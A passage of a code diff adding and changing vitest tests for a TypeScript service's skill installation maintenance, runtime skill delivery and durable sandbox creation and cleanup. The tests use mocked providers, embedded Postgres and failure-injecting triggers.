expect(fetchMock).not.toHaveBeenCalled();
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "blocked" });
expect((await db.select().from(companySkills).where(eq(companySkills.id, skill.id)))[0].currentVersionId).toBe(skill.currentVersionId);
fetchMock.mockImplementation(async url => {
expect(String(url)).toBe(`https://raw.githubusercontent.com/fixture/skills/${commit}/fixture/reference.md`);
return new Response("Exact installed supporting content");
});
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "converted" });
expect(await service.readFile(companyId, skill.id, "reference.md")).toMatchObject({ content: "Exact installed supporting content" });
expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "version_backed" });
expect((await maintenance.verifyVersions({ companyId })).results.every(row => row.status !== "incomplete_current_version")).toBe(true);
const calls = fetchMock.mock.calls.length;
expect((await maintenance.installations({ id: skill.id })).results[0]).toMatchObject({ status: "unchanged" });
expect(fetchMock).toHaveBeenCalledTimes(calls);
} finally { fetchMock.mockRestore(); }
});
it("rejects unsafe legacy sources without publishing a partial conversion", async () => {
const companyId = await company();
const directory = path.join(root, `unsafe-${randomUUID()}`);
await fs.mkdir(directory);
await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy");
await fs.symlink(path.join(root, "unrelated"), path.join(directory, "support.txt"));
try {
const [legacy] = await db.insert(companySkills).values({ companyId, key: "unsafe", slug: "unsafe", name: "Unsafe", markdown: "# legacy",
sourceType: "local_path", sourceLocator: directory, metadata: { sourceKind: "managed_local" } }).returning();
expect((await skillInstallationMaintenance(db).installations({ id: legacy!.id, apply: true, writersStopped: true })).results)
.toEqual([expect.objectContaining({ status: "blocked", reason: "Legacy skill contains a symbolic link" })]);
expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null });
} finally { await fs.unlink(path.join(directory, "support.txt")); }
});
it("keeps the compatibility override durable in Postgres and reports that storage accurately", async () => {
const companyId = await company();
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "false";
try {
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Inline durable", markdown: "# database bytes" });
const saved = await service.updateFile(companyId, skill.id, "support.txt", "also in Postgres");
expect((await skillInstallationMaintenance(db).verifyVersions({ id: saved.versionId! })).results)
.toEqual([expect.objectContaining({ status: "database_snapshot", packageId: null })]);
const priorHome = process.env.PAPERCLIP_HOME;
process.env.PAPERCLIP_HOME = path.join(root, `inline-cold-${randomUUID()}`);
try {
expect(await companySkillService(db).readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "also in Postgres" });
} finally { process.env.PAPERCLIP_HOME = priorHome; }
} finally { process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; }
});
});
@@ -7,6 +7,7 @@ import request from "supertest";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
import { agents, companies, createDb, heartbeatRuns } from "@paperclipai/db";
import { companySkillRoutes } from "../routes/company-skills.js";
import { companySkillService } from "../services/company-skills.js";
import { agentRoutes } from "../routes/agents.js";
import { errorHandler } from "../middleware/error-handler.js";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
@@ -71,17 +72,20 @@ if (!support.supported) console.warn(`Planning fixture API calibration skipped:
const selected = await selectPlanSkills(api, companyId, agentId, sources);
const invocations = planInvocations(sources, selected);
const contextSkills = [];
for (const source of sources.filter(s => s.selected)) {
await companySkillService(db).withRuntimeSkillEntries(companyId, {
onlyKeys: new Set(sources.filter(source => source.selected).map(source => source.key)), snapshotLatest: true,
}, async entries => { for (const source of sources.filter(s => s.selected)) {
const entry = (selected as any).entries.find((e: any) => e.key === source.key && e.desired);
const bytes = await readFile(path.join(entry.sourcePath, "SKILL.md"));
const delivered = entries.find(candidate => candidate.key === source.key)!;
const bytes = await readFile(path.join(delivered.source, "SKILL.md"));
expect(planHash(bytes)).toBe(source.sha256);
const mode = (await stat(path.join(entry.sourcePath, "SKILL.md"))).mode & 0o555;
const mode = (await stat(path.join(delivered.source, "SKILL.md"))).mode & 0o555;
expect(mode).toBe(0o444);
const digest = planHash(JSON.stringify([{ path: "SKILL.md", sha256: planHash(bytes), mode, size: bytes.length }]));
expect(invocations.find(i => i.name === entry.runtimeName)?.assetDigest).toBe(digest);
contextSkills.push({ key: source.key, runtimeName: entry.runtimeName, versionId: entry.currentVersionId,
bundle: { rootPath: path.join(root, "runtime-context-assets/bundles", digest) } });
}
} });
const context = { skills: contextSkills } as NativeRuntimeContextSnapshot;
const inputs = nativeTaskSkillInputs(planInvocationPrompt("Business task", invocations), context);
expect(inputs).toHaveLength(variant === "disabled" ? 0 : 2);
@@ -123,7 +123,8 @@ describeEmbeddedPostgres("plugin-managed skills", () => {
name: "plugin-managed-skills-test-wiki-maintainer",
slug: "plugin-managed-skills-test-wiki-maintainer",
key: "plugin/paperclip-managed-skills-test/wiki-maintainer",
sourceType: "catalog",
sourceType: "managed",
sourceLocator: null,
fileInventory: expect.arrayContaining([
expect.objectContaining({ path: "SKILL.md", kind: "skill" }),
expect.objectContaining({ path: "references/wiki-style.md", kind: "reference" }),
@@ -1,11 +1,13 @@
import { flushDeferredEnvironmentCleanup, hasDeferredEnvironmentCleanup, registerDeferredEnvironmentCleanup, subscribeDeferredEnvironmentCleanup } from "../services/environment-cleanup-notifications.js";
import { resolveExternalTestDatabaseUrl } from "./helpers/external-test-database.js";
import { mkdtemp, readdir, rm } from "node:fs/promises";
import { join } from "node:path";
import { tmpdir } from "node:os";
import { randomUUID } from "node:crypto";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
import { eq } from "drizzle-orm";
import { agents, companies, createDb, applyPendingMigrations, environmentLeases, environments, heartbeatRuns, issues, plugins, projects } from "@paperclipai/db";
import { eq, sql } from "drizzle-orm";
import { agents, companies, createDb, applyPendingMigrations, environmentLeases, environments, heartbeatRuns, issues, plugins, projects, sandboxCreationOperations } from "@paperclipai/db";
import { environmentRuntimeService } from "../services/environment-runtime.js";
import * as orphanCleanup from "../services/sandbox-orphan-cleanup-spool.js";
import { recordSandboxCreationResource } from "../services/sandbox-creation-operations.js";
import { resolvePluginTaskResume } from "../services/environment-task-runtime.js";
import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
@@ -51,7 +53,7 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport
if(p.operation.kind==="describe") return {kind:"description",taskId:p.taskId,runner:{version:"fixture",digest:`sha256:${"a".repeat(64)}`},warmTaskVersion:1};
return {kind:"accepted",taskId:p.taskId};
}} as unknown as PluginWorkerManager;
const runtime=()=>environmentRuntimeService(db,{pluginWorkerManager:workers});
const runtime=(orphanCleanupSpoolDir?:string)=>environmentRuntimeService(db,{pluginWorkerManager:workers,orphanCleanupSpoolDir});
const acquire=()=>runtime().acquireRunLease({companyId,environment:environment as never,issueId,agentId,heartbeatRunId:runId,persistedExecutionWorkspace:null,adapterType:"paperclip_runner",runnerTaskProjectIds:projectIds,requestedExpiresAt:deadline});
const first=await acquire();
const identity={runnerInstanceId:"runner",environmentLeaseId:first.lease.id,runId,normalizedSessionId:"session",turnId:"turn",itemId:"item"};
@@ -126,58 +128,64 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport
await expect(resolvePluginTaskResume(db,{companyId:f.companyId,leaseId:next.lease.id,priorIdentity:f.identity})).resolves.toBe(f.first.lease.providerLeaseId);
});
it.each(["ownership-lost","database-error","cleanup-error","spool"] as const)("compensates an unowned replacement task: %s",async mode=>{
it.each(["ownership-lost","database-error"] as const)("retains a durable operation for an unattached replacement task: %s",async mode=>{
const f=await fixture();await f.nextRun();const next=await f.acquire();f.stopped();
if(mode==="cleanup-error" || mode==="spool") f.failRelease();
const append=vi.fn(async()=>true);
let delayFlush=false,flushCalls=0,releaseFlush!:()=>void;
const flushGate=new Promise<void>(resolve=>{releaseFlush=resolve;});
const stopGate=mode==="spool" ? registerDeferredEnvironmentCleanup(db,async()=>{
if(delayFlush && ++flushCalls===1) await flushGate;
return {recovered:0,pending:0};
}) : undefined;
const wake=vi.fn();
const unsubscribe=subscribeDeferredEnvironmentCleanup(db,wake);
const spool=mode==="spool" ? vi.spyOn(orphanCleanup,"createSandboxOrphanCleanupSpool").mockReturnValue({append,load:async()=>[],remove:async()=>{}}) : undefined;
let replacementFailed=false;
const transact=db.transaction.bind(db);
const transaction=mode==="spool" ? vi.spyOn(db,"transaction").mockImplementation((...args)=>replacementFailed
? Promise.reject(Error("database unavailable")) : transact(...args)) : undefined;
const original=db.update.bind(db);
const update=vi.spyOn(db,"update").mockImplementation(((table:any)=>{
const query=original(table),set=query.set.bind(query);
query.set=((values:any)=>values.providerLeaseId === "task-2"
? {where:()=>({returning:async()=>{replacementFailed=true;if(mode!=="ownership-lost") throw Error("replacement write failed");return [];}})}
: set(values)) as never;
return query;
}) as never);
const disk=await mkdtemp(join(tmpdir(),"replacement-intent-"));
const runtime=()=>f.runtime(disk);
await db.execute(sql.raw(`create or replace function reject_task_replacement() returns trigger language plpgsql as $$ begin
if new.provider_lease_id = 'task-2' then ${mode === "ownership-lost" ? "return null;" : "raise exception 'replacement write failed';"} end if; return new; end $$`));
await db.execute(sql`create trigger reject_task_replacement before update on environment_leases for each row execute function reject_task_replacement()`);
try {
await expect(f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}}))
.rejects.toThrow("reconcile the same task");
if(mode==="spool") {
expect(wake).toHaveBeenCalledOnce();
expect(hasDeferredEnvironmentCleanup(db)).toBe(true);
await expect(flushDeferredEnvironmentCleanup(db)).rejects.toThrow("Deferred orphan cleanup failed");
expect(hasDeferredEnvironmentCleanup(db)).toBe(true);
}
} finally {update.mockRestore();transaction?.mockRestore();spool?.mockRestore();unsubscribe();}
expect(f.calls).toContain("environmentReleaseLease");
if(mode==="spool") expect(append).toHaveBeenCalledWith(expect.objectContaining({providerLeaseId:"task-2",metadata:expect.objectContaining({driver:"plugin",runnerTaskDispatched:false})}));
const rows=await db.select().from(environmentLeases).where(eq(environmentLeases.companyId,f.companyId));
expect(rows.filter(row=>row.providerLeaseId === "task-2")).toEqual(mode==="cleanup-error"
? [expect.objectContaining({status:"pending_cleanup",failureReason:"plugin_task_replacement_unowned",metadata:expect.objectContaining({runnerTaskDispatched:false})})] : []);
if(mode==="spool") {
delayFlush=true;
const delayed=flushDeferredEnvironmentCleanup(db);
try { expect(await flushDeferredEnvironmentCleanup(db)).toEqual({recovered:1,pending:0}); }
finally { releaseFlush(); stopGate!(); }
expect(await delayed).toEqual({recovered:1,pending:0});
expect(hasDeferredEnvironmentCleanup(db)).toBe(false);
const recovered=await db.select().from(environmentLeases).where(eq(environmentLeases.companyId,f.companyId));
expect(recovered.filter(row=>row.providerLeaseId==="task-2")).toEqual([
expect.objectContaining({status:"pending_cleanup",failureReason:"plugin_task_replacement_unowned"}),
]);
}
await expect(runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task");
} finally { await db.execute(sql`drop trigger reject_task_replacement on environment_leases`); }
expect(f.calls).not.toContain("environmentReleaseLease");
const [lease]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id));
expect(lease.providerLeaseId).toBe(next.lease.providerLeaseId);
const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId));
const pending=operations.filter(row=>row.state === "pending");
expect(pending).toHaveLength(1);expect(pending[0].requestKey).toBe(next.lease.providerLeaseId);
expect(pending[0].metadata.creationProviderLeaseId).toBe("task-2");expect(pending[0].config).toEqual({});
expect(f.acquireRequests.at(-1)?.creationOperationId).toBe(pending[0].id);
const creates=f.acquireRequests.length;
await expect(runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task");
expect(f.acquireRequests).toHaveLength(creates);
await db.update(sandboxCreationOperations).set({nextAttemptAt:new Date(0)}).where(eq(sandboxCreationOperations.id,pending[0].id));
await runtime().flushDeferredOrphanCleanups();
const [manual]=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.id,pending[0].id));
expect(manual.state).toBe("needs_reconciliation");expect(manual.metadata.creationProviderLeaseId).toBe("task-2");
await runtime().flushDeferredOrphanCleanups();expect(f.acquireRequests).toHaveLength(creates);
expect(f.calls).not.toContain("environmentReleaseLease");
expect(await readdir(disk)).toEqual([]);
await rm(disk,{recursive:true,force:true});
});
it("retains the known replacement identity after a committed attachment response is lost",async()=>{
const f=await fixture();await f.nextRun();const next=await f.acquire();f.stopped();
const transaction=db.transaction.bind(db);let lost=false;
const response=vi.spyOn(db,"transaction").mockImplementation((async(...args:any[])=>{
const result=await (transaction as any)(...args);
if(!lost && result?.providerLeaseId === "task-2") {lost=true;throw new Error("Attachment commit response lost");}
return result;
}) as typeof db.transaction);
try {
await expect(f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).rejects.toThrow("reconcile the same task");
} finally {response.mockRestore();}
expect(lost).toBe(true);
const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId));
const replacement=operations.find(operation=>operation.requestKey === next.lease.providerLeaseId)!;
expect(replacement).toMatchObject({state:"attached",leaseId:next.lease.id,metadata:{creationProviderLeaseId:"task-2"}});
const identity={id:replacement.id,companyId:f.companyId,environmentId:replacement.originalEnvironmentId,providerLeaseId:"task-2"};
await recordSandboxCreationResource(db,identity);
await expect(recordSandboxCreationResource(db,{...identity,providerLeaseId:"different-resource"})).rejects.toThrow("identity changed");
await expect(recordSandboxCreationResource(db,{...identity,companyId:randomUUID()})).rejects.toThrow("identity changed");
expect((await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.id,replacement.id)))[0])
.toMatchObject({state:"attached",metadata:{creationProviderLeaseId:"task-2"}});
const [saved]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id));
expect(saved).toMatchObject({providerLeaseId:"task-2",status:"active"});
await db.update(sandboxCreationOperations).set({nextAttemptAt:new Date(0)}).where(eq(sandboxCreationOperations.id,replacement.id));
await f.runtime().flushDeferredOrphanCleanups();
expect((await f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}})).taskId).toBe("task-2");
expect(f.acquireRequests).toHaveLength(2);expect(f.calls).not.toContain("environmentReleaseLease");
});
it.each(["added","removed"] as const)("retires retained mounts when an authorized project is %s after controller restart",async mode=>{
@@ -203,7 +211,9 @@ const support=external ? {supported:true} : await getEmbeddedPostgresTestSupport
const replacing=f.runtime().task({companyId:f.companyId,leaseId:next.lease.id,operation:{kind:"describe"}});
if(["violating","missing-bounded","invalid","expired"].includes(mode)) {
await expect(replacing).rejects.toThrow("reconcile the same task");
expect(f.calls).toContain("environmentReleaseLease");
expect(f.calls).not.toContain("environmentReleaseLease");
const operations=await db.select().from(sandboxCreationOperations).where(eq(sandboxCreationOperations.companyId,f.companyId));
expect(operations.filter(row=>row.state === "pending")).toHaveLength(1);
} else {
const description=await replacing;
const [saved]=await db.select().from(environmentLeases).where(eq(environmentLeases.id,next.lease.id));
@@ -576,7 +576,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => {
expect(await skills.getById(companyId, fork.skill.id)).not.toBeNull();
let retainedVersionId = original.currentVersionId;
if (choice === 'copy') {
expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'local_path', accessSourceId: source.id });
expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'managed', sourceLocator: null, accessSourceId: source.id });
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/private/SKILL.md'))?.content).toBe(md('retained private workflow'));
expect((await skills.readFile(companyId, original.id, 'SKILL.md'))?.content).toContain('.paperclip-repository/private/SKILL.md');
await skills.updateFile(companyId, original.id, 'SKILL.md', md('Private copy edits') + '\nConfidential original-project notes.\n');
@@ -605,7 +605,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => {
expect(restored.lastError).toBeNull();
expect(restored.entries.filter(entry => entry.skillId)).toHaveLength(1);
expect(restored.entries[0]!.skillId).not.toBe(original.id);
if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'local_path', currentVersionId: retainedVersionId });
if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'managed', currentVersionId: retainedVersionId });
const readerId = randomUUID();
await db.insert(authUsers).values({ id: readerId, name: 'Open project reader', email: `${readerId}@example.test`, createdAt: new Date(), updatedAt: new Date() });
await db.insert(companyMemberships).values({ companyId, principalType: 'user', principalId: readerId, membershipRole: 'member', status: 'active' });
@@ -0,0 +1,333 @@
import { execFile } from "node:child_process";
import { createServer } from "node:http";
import { promisify } from "node:util";
import { fileURLToPath } from "node:url";
import { randomUUID } from "node:crypto";
import { mkdtemp, readFile, readdir, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
import { eq, sql } from "drizzle-orm";
import { agents, builtInManagedResources, companies, companySecretVersions, createDb, environmentLeases, environments, heartbeatRuns, plugins, sandboxCreationOperations } from "@paperclipai/db";
import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
import { environmentRuntimeService } from "../services/environment-runtime.js";
import { environmentService } from "../services/environments.js";
import { HttpError } from "../errors.js";
import * as secretOwner from "../services/secrets.js";
import { readIdleSleepSafety } from "../services/idle-sleep-safety.js";
import { nextEnvironmentCleanupAt } from "../services/environment-cleanup-state.js";
import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
describe("durable sandbox creation through the runtime entry point", () => {
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
let db: ReturnType<typeof createDb>;
let companyId: string, environmentId: string, pluginId: string, runId: string, spool: string;
let creates: number, destroys: number, loseReply: boolean, failDestroy: boolean;
let beforeReply: (() => Promise<void>) | undefined;
const resources = new Map<string, string>();
let workers: PluginWorkerManager;
beforeAll(async () => {
database = await startEmbeddedPostgresTestDatabase("sandbox-creation-operations-");
db = createDb(database.connectionString);
}, 90_000);
beforeEach(async () => {
await db.execute(sql`truncate sandbox_creation_operations, companies, environments, plugins cascade`);
companyId = randomUUID(); environmentId = randomUUID(); pluginId = randomUUID(); runId = randomUUID();
const agentId = randomUUID(); creates = 0; destroys = 0; loseReply = false; failDestroy = false; beforeReply = undefined; resources.clear();
spool = await mkdtemp(join(tmpdir(), "empty-sandbox-web-"));
await db.insert(companies).values({ id: companyId, name: "Creation fixture", issuePrefix: "CRT" });
await db.insert(agents).values({ id: agentId, companyId, name: "Fixture", role: "engineer", adapterType: "codex_local" });
await db.insert(heartbeatRuns).values({ id: runId, companyId, agentId, status: "running", invocationSource: "manual" });
await db.insert(environments).values({ id: environmentId, name: environmentId, driver: "sandbox", config: { provider: "creation-fixture", image: "fixture", reuseLease: false } });
await db.insert(plugins).values({ id: pluginId, pluginKey: "paperclip.creation-fixture", packageName: "creation-fixture", version: "1.0.0", apiVersion: 1,
status: "ready", categories: ["automation"], manifestJson: { id: "paperclip.creation-fixture", version: "1.0.0", apiVersion: 1,
displayName: "Creation fixture", description: "Controlled remote provider", author: "Paperclip", categories: ["automation"],
capabilities: ["environment.drivers.register"], entrypoints: { worker: "fixture.js" }, environmentDrivers: [{
driverKey: "creation-fixture", kind: "sandbox_provider", displayName: "Fixture", creationOperationVersion: 1, configSchema: { type: "object" },
}] } });
workers = {
isRunning: () => true,
getWorker: () => ({ supportedMethods: ["environmentAcquireLease", "environmentInspectLease", "environmentDestroyLease"] }),
call: vi.fn(async (_pluginId: string, method: string, input: any) => {
if (method === "environmentAcquireLease") {
expect(await db.select().from(sandboxCreationOperations)).toContainEqual(expect.objectContaining({ id: input.creationOperationId, state: "pending" }));
creates++;
const resource = `provider-${input.creationOperationId}`;
resources.set(input.creationOperationId, resource);
await beforeReply?.();
if (loseReply) throw new Error("Lost provider reply");
return { providerLeaseId: resource, metadata: { remoteCwd: "/workspace" } };
}
if (method === "environmentInspectLease") {
const id = input.creationOperation.id;
const resource = resources.get(id);
if (!resource) return { providerLeaseId: id, state: "unknown" };
return { providerLeaseId: resource, state: "active", creationCleanup: { providerLeaseId: resource,
observedProviderLeaseId: resource, companyId, environmentId, runId: input.creationOperation.runId, attemptId: id,
accountFingerprint: "a".repeat(64), labels: { "paperclip-create-attempt": id } } };
}
if (method === "environmentDestroyLease") {
destroys++;
if (failDestroy) throw new Error("Fixture teardown failed");
resources.delete(input.leaseMetadata.creationOperationId);
return { providerLeaseId: input.providerLeaseId, state: "destroyed" };
}
throw new Error(`Unexpected fixture method ${method}`);
}),
} as unknown as PluginWorkerManager;
});
afterEach(async () => {
await db.execute(sql`drop trigger if exists reject_fixture_lease on environment_leases`);
await db.execute(sql`drop trigger if exists reject_fixture_creation on sandbox_creation_operations`);
await rm(spool, { recursive: true, force: true });
});
afterAll(async () => { await db?.$client.end({ timeout: 1 }); await database?.cleanup(); });
function runtime() { return environmentRuntimeService(db, { pluginWorkerManager: workers, orphanCleanupSpoolDir: spool }); }
async function acquire() {
return runtime().acquireRunLease({ companyId, environment: (await environmentService(db).getById(environmentId))!,
heartbeatRunId: runId, issueId: null, persistedExecutionWorkspace: null, assertCompanyBinding: true });
}
async function due() { await db.update(sandboxCreationOperations).set({ nextAttemptAt: new Date(0) }); }
async function rejectWrites(table: "environment_leases" | "sandbox_creation_operations", trigger: string) {
await db.execute(sql`create or replace function reject_fixture_write() returns trigger language plpgsql as $$ begin raise exception 'Fixture database write unavailable'; end $$`);
await db.execute(sql.raw(`create trigger ${trigger} before insert on ${table} for each row execute function reject_fixture_write()`));
}
it("can reapply the creation migration without losing a committed intent", async () => {
loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply");
const [before] = await db.select().from(sandboxCreationOperations);
const migration = await readFile(new URL("../../../packages/db/src/migrations/0418_curved_lady_mastermind.sql", import.meta.url), "utf8");
for (let attempt = 0; attempt < 2; attempt++) {
for (const statement of migration.split("--> statement-breakpoint").map(value => value.trim()).filter(Boolean)) {
await db.execute(sql.raw(statement));
}
}
expect(await db.select().from(sandboxCreationOperations)).toEqual([before]);
expect(creates).toBe(1);
});
it("fails before the external action when the durable admission write fails", async () => {
await rejectWrites("sandbox_creation_operations", "reject_fixture_creation");
await expect(acquire()).rejects.toThrow();
expect(creates).toBe(0); expect(resources.size).toBe(0); expect(await readdir(spool)).toEqual([]);
});
it("attaches once and reuses the committed transfer after a lost response", async () => {
const first = await acquire();
const retry = await acquire();
expect(retry.lease.id).toBe(first.lease.id); expect(creates).toBe(1); expect(destroys).toBe(0);
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(environmentLeases)).toHaveLength(1);
expect(await nextEnvironmentCleanupAt(db)).toBeNull();
});
it("recovers a failed lease write with a fresh receiver and empty web disk", async () => {
await rejectWrites("environment_leases", "reject_fixture_lease");
await expect(acquire()).rejects.toThrow();
expect(creates).toBe(1); expect(await readdir(spool)).toEqual([]);
expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "pending" })]);
await db.execute(sql`drop trigger reject_fixture_lease on environment_leases`);
await due();
await Promise.all([runtime().flushDeferredOrphanCleanups(), runtime().flushDeferredOrphanCleanups()]);
const leases = await db.select().from(environmentLeases);
expect(leases).toEqual([expect.objectContaining({ status: "pending_cleanup", providerLeaseId: [...resources.values()][0] })]);
expect(creates).toBe(1);
failDestroy = true;
await expect(runtime().retryPendingSandboxTeardown({ environment: null, lease: (await environmentService(db).getLeaseById(leases[0]!.id))! })).rejects.toThrow("Fixture teardown failed");
expect(resources.size).toBe(1);
failDestroy = false;
await runtime().retryPendingSandboxTeardown({ environment: null, lease: (await environmentService(db).getLeaseById(leases[0]!.id))! });
expect(resources.size).toBe(0); expect(destroys).toBe(2);
});
it("reconstructs ownership in a replacement receiver process with a different empty web disk", async () => {
const provider = createServer(async (request, response) => {
try {
let body = ""; for await (const chunk of request) body += chunk.toString();
const { method, input } = JSON.parse(body);
response.setHeader("content-type", "application/json");
response.end(JSON.stringify(await (workers.call as any)(pluginId, method, input)));
} catch { response.statusCode = 500; response.end("{}"); }
});
await new Promise<void>(resolve => provider.listen(0, "127.0.0.1", resolve));
const address = provider.address() as { port: number };
const replacementDisk = await mkdtemp(join(tmpdir(), "replacement-sandbox-web-"));
const fixture = fileURLToPath(new URL("./fixtures/sandbox-creation-receiver.ts", import.meta.url));
async function receiver(action: string, disk: string) {
const result = await promisify(execFile)(process.execPath, ["--import", fileURLToPath(import.meta.resolve("tsx")), fixture], {
cwd: fileURLToPath(new URL("../../..", import.meta.url)), timeout: 60_000,
env: { ...process.env, CREATION_FIXTURE_ACTION: action, CREATION_FIXTURE_EMPTY_DISK: disk,
CREATION_FIXTURE_DATABASE_URL: database.connectionString, CREATION_FIXTURE_PROVIDER_URL: `http://127.0.0.1:${address.port}`,
CREATION_FIXTURE_COMPANY_ID: companyId, CREATION_FIXTURE_ENVIRONMENT_ID: environmentId, CREATION_FIXTURE_RUN_ID: runId },
});
return result.stdout;
}
try {
await rejectWrites("environment_leases", "reject_fixture_lease");
expect(await receiver("acquire", spool)).toContain('"ok":false');
expect(creates).toBe(1); expect(resources.size).toBe(1); expect(await readdir(spool)).toEqual([]);
await db.execute(sql`drop trigger reject_fixture_lease on environment_leases`);
await due();
expect(await receiver("recover", replacementDisk)).toContain('"ok":true');
expect(await receiver("recover", replacementDisk)).toContain('"ok":true');
expect(await db.select().from(environmentLeases)).toEqual([
expect.objectContaining({ status: "pending_cleanup", providerLeaseId: [...resources.values()][0] }),
]);
expect(creates).toBe(1); expect(await readdir(replacementDisk)).toEqual([]);
} finally {
await new Promise<void>((resolve, reject) => provider.close(error => error ? reject(error) : resolve()));
await rm(replacementDisk, { recursive: true, force: true });
}
}, 180_000);
it("never repeats creation after a lost provider reply", async () => {
loseReply = true;
await expect(acquire()).rejects.toThrow("Lost provider reply");
await expect(acquire()).rejects.toThrow("requires reconciliation");
expect(creates).toBe(1);
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ status: "pending_cleanup" })]);
});
it("retains cleanup ownership when the environment is deleted during creation", async () => {
beforeReply = async () => { await environmentService(db).remove(environmentId); };
await expect(acquire()).rejects.toThrow();
expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ environmentId: null, originalEnvironmentId: environmentId, state: "pending" })]);
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ environmentId: null, status: "pending_cleanup" })]);
});
it("rejects attachment after a company rebind and retains cleanup", async () => {
beforeReply = async () => {
const foreign = randomUUID(); await db.insert(companies).values({ id: foreign, name: "Foreign", issuePrefix: "FOR" });
await db.insert(builtInManagedResources).values({ companyId: foreign, bundleKey: "managed-environment", resourceKind: "environment",
resourceKey: "sandbox", resourceId: environmentId, stockVersion: "1", stockHash: "fixture" });
};
await expect(acquire()).rejects.toMatchObject({ status: 403 });
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ companyId, status: "pending_cleanup" })]);
});
it("backs off a failed lookup and recovers unrelated creations in the same pass", async () => {
loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply");
const [first] = await db.select().from(sandboxCreationOperations);
const [run] = await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, runId));
runId = randomUUID(); await db.insert(heartbeatRuns).values({ ...run!, id: runId });
await expect(acquire()).rejects.toThrow("Lost provider reply");
const originalCall = workers.call;
(workers as any).call = vi.fn(async (plugin: string, method: string, params: any, timeout: any) => {
if (method === "environmentInspectLease" && params.creationOperation.id === first!.id) throw new Error("Transient fixture lookup");
return originalCall(plugin, method as any, params, timeout);
});
await due(); await runtime().flushDeferredOrphanCleanups();
const rows = await db.select().from(sandboxCreationOperations);
expect(rows.find(value => value.id === first!.id)).toMatchObject({ state: "pending" });
expect(rows.find(value => value.id === first!.id)!.nextAttemptAt.getTime()).toBeGreaterThan(Date.now());
expect(rows.filter(value => value.state === "cleanup_pending")).toHaveLength(1);
});
it("does not attach a sandbox to a run stopped during creation", async () => {
beforeReply = async () => { await db.update(heartbeatRuns).set({ status: "cancelled" }).where(eq(heartbeatRuns.id, runId)); };
await expect(acquire()).rejects.toThrow("run authority changed");
expect(await db.select().from(environmentLeases)).toHaveLength(0);
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(environmentLeases)).toEqual([expect.objectContaining({ status: "pending_cleanup" })]);
});
it.each(["before lookup", "during lookup", "lookup fails after deletion"])("records manual reconciliation when the company is deleted %s", async (deletion) => {
loseReply = true; await expect(acquire()).rejects.toThrow("Lost provider reply");
async function deleteCompany() {
await db.delete(heartbeatRuns).where(eq(heartbeatRuns.companyId, companyId));
await db.delete(agents).where(eq(agents.companyId, companyId));
await db.delete(companies).where(eq(companies.id, companyId));
}
if (deletion === "before lookup") await deleteCompany();
const originalCall = workers.call;
const calls = vi.fn(async (plugin: string, method: string, params: any, timeout: any) => {
if (method === "environmentInspectLease" && deletion !== "before lookup") {
await deleteCompany();
if (deletion === "lookup fails after deletion") throw new Error("Company credential no longer exists");
}
return originalCall(plugin, method as any, params, timeout);
});
(workers as any).call = calls;
await due(); await runtime().flushDeferredOrphanCleanups();
expect(await db.select().from(sandboxCreationOperations)).toEqual([
